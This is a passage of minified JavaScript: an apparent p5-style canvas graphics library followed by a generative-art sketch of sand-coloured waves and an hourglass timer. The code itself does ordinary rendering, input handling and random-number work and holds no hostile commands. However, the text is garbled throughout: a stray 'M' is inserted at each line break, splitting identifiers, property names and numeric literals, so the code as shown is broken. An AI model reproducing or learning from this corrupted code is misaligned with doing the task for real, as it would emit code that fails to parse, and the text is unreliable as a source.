n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
